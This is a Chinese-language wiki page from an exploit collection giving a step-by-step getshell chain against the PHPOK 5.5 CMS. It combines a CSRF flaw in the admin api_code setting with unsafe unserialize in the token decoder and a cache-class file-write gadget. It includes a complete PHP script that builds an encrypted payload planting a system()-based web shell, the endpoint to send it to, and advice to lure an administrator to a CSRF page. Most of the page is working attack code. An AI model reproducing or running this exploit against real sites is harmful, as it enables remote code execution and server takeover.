menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right yougar0.github.io(基于零组公开漏洞库 + PeiQi文库的一些漏洞)-20210715 chevron_right Web安全 chevron_right PHPOK chevron_right PHPOK 5.5 csrf+反序列化漏洞getshell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    PHPOK 5.5 csrf+反序列化漏洞getshell.md
    9.41 KB / 2021-04-21 09:23:46
        PHPOK 5.5 csrf+反序列化漏洞getshell
    ===================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    PHPOK 5.5
    =========
    
    三、复现过程
    ------------
    
    #### 可利用恶意类
    
    恶意类文件:`framework\engine\cache.php`
    
    **关键代码:**
    
        <?php
        class cache{
            public function save($id,$content=''){
                if(!$id || $content === '' || !$this->status){
                    return false;
                }
                $this->_time();
                $content = serialize($content);
                $file = $this->folder.$id.".php";
                file_put_contents($file,'<?php exit();?>'.$content);
                $this->_time();
                $this->_count();
                if($GLOBALS['app']->db){
                    $this->key_list($id,$GLOBALS['app']->db->cache_index($id));
                }
                return true;
            }
            public function __destruct(){
                $this->save($this->key_id,$this->key_list);
                $this->expired();
            }
        }
        ?>
    
    很明显的`__destruct`方法调用了`save`方法,且传递的两个参数皆可控。
    
    跟进`save`方法,可以看到里面调用了一个`file_put_contents`函数,且该函数的第一个参数可控,第二个参数部分可控。
    
    第二个参数在最前面拼接了\`\`,使得后面再拼接的PHP代码也无法执行。
    
    但是由于`file_put_contents`的第一个参数是可控的,所以我们可以通过控制第一个参数,来达到绕过`exit()`的效果。
    
    `file_put_contents`的第一个参数是可以使用协议的,例如:
    
    -   `php://output`
    -   `php://filter/read=convert.base64-decode/resource=`
    -   等等
    
    通过控制协议,可以对文件内容进行各种过滤操作。同时我们可以注意到\`\`PHP的标签本质上是一段xml代码,所以我们可以使用`php://filter`的`string.strip_tags`过滤器,去除这一段代码。
    
    demo:
    
        <?php
            echo file_get_contents('php://filter/read=string.strip_tags/resource=php://input');
        ?>
    
    ![1.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId26.png)
    
    但是如果直接这样操作,会把我们后面也添加的PHP代码也给去掉,所以还得把加入的PHP代码通过base64encode的方式添加进去,再利用`php://filter`的`convert.base64-decode`进行还原。使用`|`符号能在`php://filter`中使用两个过滤器。
    
    demo:
    
        <?php
            echo file_get_contents('php://filter/read=string.strip_tags|convert.base64-decode/resource=php://input');
        ?>
    
    ![2.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId27.png)
    
    对文件写入时,将`read`修改为`write`即可。
    
    #### 反序列化
    
    漏洞文件: `framework/libs/token.php`
    
    **关键代码:**
    
        <?php
        class token_lib{
            public function decode($string){
                if(!$this->keyid){
                    return false;
                }
                $string = str_replace(' ','+',$string);
                $keyc = substr($string, 0, $this->keyc_length);
                $string = base64_decode(substr($string, $this->keyc_length));
                $cryptkey = $this->keya.md5($this->keya.$keyc);
                $rs = $this->core($string,$cryptkey);
                $chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
                if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
                    $info = substr($rs, 26);
                    return unserialize($info);
                }
                return false;
            }
        }
        ?>
    
    看函数名字就可以猜到这个函数是某个密文的解密方法,并且在解密后进行了反序列化操作。
    
    如果我们可以将序列化后的类,通过对应的`encode`方法,生成`decode`函数的解密的格式,那么我们就可以反序列化该类。
    
    `encode`方法:
    
        <?php
        class token_lib{
            public function keyid($keyid=''){
                if(!$keyid){
                    return $this->keyid;
                }
                $this->keyid = strtolower(md5($keyid));
                $this->config();
                return $this->keyid;
            }
            private function config(){
                if(!$this->keyid){
                    return false;
                }
                $this->keya = md5(substr($this->keyid, 0, 16));
                $this->keyb = md5(substr($this->keyid, 16, 16));
            }
            public function encode($string){
                if(!$this->keyid){
                    return false;
                }
                $string = serialize($string);
                $expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
                $string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;
                $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
                $cryptkey = $this->keya.md5($this->keya.$keyc);
                $rs = $this->core($string,$cryptkey);
                return $keyc.str_replace('=', '', base64_encode($rs));
                //return $keyc.base64_encode($rs);
            }
        }
        ?>
    
    可以看到`encode`与`decode`方法都需要导入一个`keyid`值。于是全局搜索`->keyid(`
    
    ![3.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId29.png)
    
    得知了这是在`site`数组里面的`api_code`值,且该值只能通过后台设置。
    
    #### CSRF
    
    这部分就不细分析了,直接黑盒抓后台修改`api_code`的请求,经过测试后可以发现,这个功能点没有进行CSRF防护:
    
    ![4.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId31.png)
    
    可以看到,没有任何的CSRF防护
    
    ### 利用
    
    至此,我们可以通过这些漏洞进行getshell了。
    
    1.  诱导管理员访问精心构造的CSRF脚本,修改`api_code`
    2.  利用已知的`api_code`,对上面可被恶意反序列化的类进行序列化后加密
    3.  调用解密函数,触发反序列化
    
    假设此处已经通过CSRF重置了系统的`api_code`为`123456`
    
    ![5.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId33.png)
    
    使用脚本序列化恶意类,并对其进行`encode`
    
        <?php
        class cache{
            protected $key_id;
            protected $key_list;
            protected $folder;
    
            public function __construct(){
                $this->key_id = 'naiquan';
                $this->key_list = 'a'.base64_encode('<?php system($_GET["shell"]);?>');
                $this->folder = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
            }
        }
        class token{
            private $keyid = '';
            private $keyc_length = 6;
            private $keya;
            private $keyb;
            private $time;
            private $expiry = 3600;
    
            public function keyid($keyid=''){
                if(!$keyid){
                    return $this->keyid;
                }
                $this->keyid = strtolower(md5($keyid));
                $this->config();
                return $this->keyid;
            }
            private function config(){
                if(!$this->keyid){
                    return false;
                }
                $this->keya = md5(substr($this->keyid, 0, 16));
                $this->keyb = md5(substr($this->keyid, 16, 16));
            }
    
            public function encode($string){
                if(!$this->keyid){
                    return false;
                }
    
                $expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
                $string = sprintf('%010d',($expiry_time + time())).substr(md5($string.$this->keyb), 0, 16).$string;
                $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
                $cryptkey = $this->keya.md5($this->keya.$keyc);
                $rs = $this->core($string,$cryptkey);
                return $keyc.str_replace('=', '', base64_encode($rs));
                //return $keyc.base64_encode($rs);
            }
            private function core($string,$cryptkey){
                $key_length = strlen($cryptkey);
                $string_length = strlen($string);
                $result = '';
                $box = range(0, 255);
                $rndkey = array();
                // 产生密匙簿
                for($i = 0; $i <= 255; $i++){
                    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
                }
                // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
                for($j = $i = 0; $i < 256; $i++){
                    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
                    $tmp = $box[$i];
                    $box[$i] = $box[$j];
                    $box[$j] = $tmp;
                }
                // 核心加解密部分
                for($a = $j = $i = 0; $i < $string_length; $i++){
                    $a = ($a + 1) % 256;
                    $j = ($j + $box[$a]) % 256;
                    $tmp = $box[$a];
                    $box[$a] = $box[$j];
                    $box[$j] = $tmp;
                    $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
                }
                return $result;
            }
        }
        $token = new token();
        $token->keyid('123456');
        echo $token->encode(serialize(new cache));
        ?>
    
    ![6.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId34.png)
    
    运行脚本拿到Payload,请求有进行解密操作的接口,如:
    
        http://www.0-sec.org/api.php?c=index&f=phpok&token=
    
    请求前:
    
    ![7.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId35.png)
    
    请求后:
    
    ![8.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId36.png)
    
    shell写入成功。
    
    文件内容:
    
    ![9.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId37.png)
    
    ![10.png](./resource/PHPOK5.5csrf+反序列化漏洞getshell/media/rId38.png)
    
    参考链接
    --------
    
    > https://xz.aliyun.com/t/7852
    
    
    links
    file_download